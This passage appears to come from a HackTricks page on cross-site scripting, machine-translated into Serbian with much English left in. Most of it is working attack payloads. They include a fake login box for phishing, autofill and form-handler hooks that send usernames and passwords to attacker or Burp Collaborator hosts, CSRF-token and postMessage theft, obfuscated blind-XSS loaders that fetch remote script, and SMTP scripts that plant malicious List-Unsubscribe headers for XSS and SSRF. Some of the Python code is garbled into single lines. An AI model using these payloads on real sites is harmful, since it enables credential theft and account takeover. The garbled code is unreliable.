console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Kratka vremena ukazuju na port koji odgovara Duža vremena ukazuju na odsustvo odgovora.
Pregledajte listu portova zabranjenih u Chrome-u here i u Firefox-u here.
Polje za unos credentials
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Presretanje lozinki iz automatskog popunjavanja
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Kada se bilo koji podatak unese u password field, username i password se šalju na attackers server, čak i ako klijent izabere saved password i ne unese ništa, credentials će biti ex-filtrated.
Hijack form handlers to exfiltrate credentials (const shadowing)
Ako je kritični handler (npr. function DoLogin(){...}) deklarisan kasnije na stranici, a tvoj payload se izvršava ranije (npr. preko inline JS-in-JS sink), definiši const istog imena prvi da preemptuješ i zaključaš handler. Kasnije deklaracije funkcija ne mogu ponovo dodeliti const ime, ostavljajući tvoj hook pod kontrolom:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Napomene
- Ovo zavisi od reda izvršavanja: vaša injekcija mora da se izvrši pre legitimne deklaracije.
- Ako je vaš payload upakovan u
eval(...),const/letbindings neće postati globals. Koristite dinamičku<script>injection tehniku iz sekcije “Deliverable payloads with eval(atob()) and scope nuances” da obezbedite pravi globalni binding koji se ne može ponovo dodeliti. - Kada filteri po ključnim rečima blokiraju kod, kombinujte sa Unicode-escaped identifikatorima ili
eval(atob('...'))delivery, kao što je prikazano gore.
Keylogger
Samo pretražujući GitHub pronašao sam nekoliko različitih:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Takođe možete koristiti metasploit
http_javascript_keylogger
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Krađa PostMessage poruka
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
PostMessage-origin script loaders (opener-gated)
Ako stranica sačuva event.origin iz postMessage i kasnije ga konkatenira u script URL, sender kontroliše origin učitanog JS-a:
window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});
Recept za eksploataciju (iz CAPIG):
- Gates: pokreće se samo kada
window.openerpostoji ipixel_idje allowlisted; origin nikada nije proveravan. - Use CSP-allowed origin: pređite na domen koji je već dozvoljen od strane CSP žrtve (npr. logged-out help pages koje dozvoljavaju analytics poput
*.THIRD-PARTY.com) i postavite tamo/sdk/<pixel_id>/iwl.jsputem takeover/XSS/upload. - Restore
opener: u Android WebView-u,window.name='x'; window.open(target,'x')čini stranicu njenim sopstvenim opener-om; pošaljite zlonamernipostMessageiz otetog iframe-a. - Trigger: iframe šalje
{msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}; parent onda učitava napadačeviwl.jssa CSP-allowed origin i izvršava ga.
Ovo pretvara origin-less postMessage validaciju u remote script loader primitive koji preživljava CSP ako uspete da dođete na bilo koji origin koji je već dozvoljen politikom.
Supply-chain stored XSS via backend JS concatenation
Kada backend builds a shared SDK by concatenating JS strings with user-controlled values, bilo koji quote/structure breaker može ubaciti script koji se servira svakom consumer-u:
- Primer obrasca (Meta CAPIG): server dodaje
cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>});direktno ucapig-events.js. - Ubacivanjem
'ili"]}zatvara se literal/objekat i dodaje napadačev JS, stvarajući stored XSS u distribuiranom SDK-u za svaki sajt koji ga učitava (first-party and third-party).
Abusing Service Workers
Accessing Shadow DOM
Polyglots
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
Blind XSS payloads
Možete takođe koristiti: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - Pristup skrivenom sadržaju
Iz this writeup može se saznati da, čak i ako neke vrednosti nestanu iz JS-a, i dalje ih je moguće pronaći u JS atributima u različitim objektima. Na primer, input REGEX-a se i dalje može pronaći i nakon što je vrednost inputa REGEX-a uklonjena:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force List
Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
XSS — zloupotreba drugih ranjivosti
XSS u Markdown
Možeš da ubaciš Markdown kod koji će biti renderovan? Možda možeš dobiti XSS! Proveri:
XSS u SSRF
Imaš XSS na sajtu koji koristi keširanje? Pokušaj da to nadogradiš u SSRF preko Edge Side Include Injection koristeći ovaj payload:
<esi:include src="http://yoursite.com/capture" />
Koristite ga za zaobilaženje ograničenja kolačića, XSS filtera i mnogo više!
More information about this technique here: XSLT.
XSS in dynamic created PDF
If a web page is creating a PDF using user controlled input, you can try to trick the bot that is creating the PDF into executing arbitrary JS code.
So, if the PDF creator bot finds some kind of HTML tags, it is going to interpret them, and you can abuse this behaviour to cause a Server XSS.
If you cannot inject HTML tags it could be worth it to try to inject PDF data:
XSS in Amp4Email
AMP, aimed at accelerating web page performance on mobile devices, incorporates HTML tags supplemented by JavaScript to ensure functionality with an emphasis on speed and security. It supports a range of components for various features, accessible via AMP components.
The AMP for Email format extends specific AMP components to emails, enabling recipients to interact with content directly within their emails.
Example writeup XSS in Amp4Email in Gmail.
List-Unsubscribe Header Abuse (Webmail XSS & SSRF)
The RFC 2369 List-Unsubscribe header embeds attacker-controlled URIs that many webmail and mail clients automatically convert into “Unsubscribe” buttons. When those URIs are rendered or fetched without validation, the header becomes an injection point for both stored XSS (if the unsubscribe link is placed in the DOM) and SSRF (if the server performs the unsubscribe request on behalf of the user).
Stored XSS via javascript: URIs
- Send yourself an email where the header points to a
javascript:URI while keeping the rest of the message benign so that spam filters do not drop it. - Ensure the UI renders the value (many clients show it in a “List Info” pane) and check whether the resulting
<a>tag inherits attacker-controlled attributes such ashrefortarget. - Trigger execution (e.g., CTRL+click, middle-click, or “open in new tab”) when the link uses
target="_blank"; browsers will evaluate the supplied JavaScript in the origin of the webmail application. - Observe the stored-XSS primitive: the payload persists with the email and only requires a click to execute.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
Bajt novog reda (%0a) u URI-ju pokazuje da čak i neobični karakteri prežive ceo proces renderovanja u ranjivim klijentima kao što je Horde IMP H5, koji će ispisati string doslovno unutar anchor taga.
Minimalni SMTP PoC koji dostavlja zlonamerni List-Unsubscribe header
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessagesmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”
msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
#### Proksi za unsubscribe na serverskoj strani -> SSRF
Neki klijenti, kao što je Nextcloud Mail app, proxiraju unsubscribe akciju na serverskoj strani: klik na dugme naređuje serveru da sam zahvati prosleđeni URL. To pretvara header u SSRF primitive, naročito kada administratori postave `'allow_local_remote_servers' => true` (dokumentovano u [HackerOne report 2902856](https://hackerone.com/reports/2902856)), što dozvoljava zahteve prema loopback i RFC1918 opsegu.
1. **Sastavite email** gde `List-Unsubscribe` cilja na endpoint pod kontrolom napadača (za blind SSRF koristite Burp Collaborator / OAST).
2. **Ostavite `List-Unsubscribe-Post: List-Unsubscribe=One-Click`** tako da UI prikazuje dugme za unsubscribe jednim klikom.
3. **Ispunite zahteve poverenja**: Nextcloud, na primer, izvršava HTTPS unsubscribe zahteve samo kada poruka prođe DKIM, pa napadač mora potpisati email koristeći domen koji kontroliše.
4. **Dostavite poruku u mailbox koji obrađuje ciljni server** i sačekajte da korisnik klikne dugme za unsubscribe.
5. **Posmatrajte server-side callback** na collaborator endpointu, pa potom pivot na interne adrese kada se primitive potvrdi.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
DKIM-potpisana List-Unsubscribe poruka za testiranje SSRF-a
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkimsmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”
msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
**Napomene za testiranje**
- Koristite OAST endpoint da prikupite blind SSRF hits, zatim prilagodite `List-Unsubscribe` URL da cilja `http://127.0.0.1:PORT`, metadata services, ili druge interne hostove nakon što se primitive potvrdi.
- Pošto unsubscribe helper često ponovo koristi isti HTTP stack kao aplikacija, nasleđujete njegova proxy settings, HTTP verbs i header rewrites, što omogućava dodatne traversal trikove opisane u [SSRF methodology](../ssrf-server-side-request-forgery/README.md).
### XSS otpremanje fajlova (svg)
Otpremite kao sliku fajl poput sledećeg (sa [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Pronađi više SVG payloads na https://github.com/allanlw/svg-cheatsheet
Ostali JS trikovi i relevantne informacije
Misc JS Tricks & Relevant Info
XSS resursi
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
Reference
- Turning a harmless XSS behind a WAF into a realistic phishing vector
- XSS and SSRF via the List-Unsubscribe SMTP Header in Horde Webmail and Nextcloud Mail
- HackerOne Report #2902856 - Nextcloud Mail List-Unsubscribe SSRF
- From “Low-Impact” RXSS to Credential Stealer: A JS-in-JS Walkthrough
- MDN eval()
- CAPIG XSS: postMessage origin trust becomes a script loader + backend JS concatenation enables supply-chain stored XSS
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


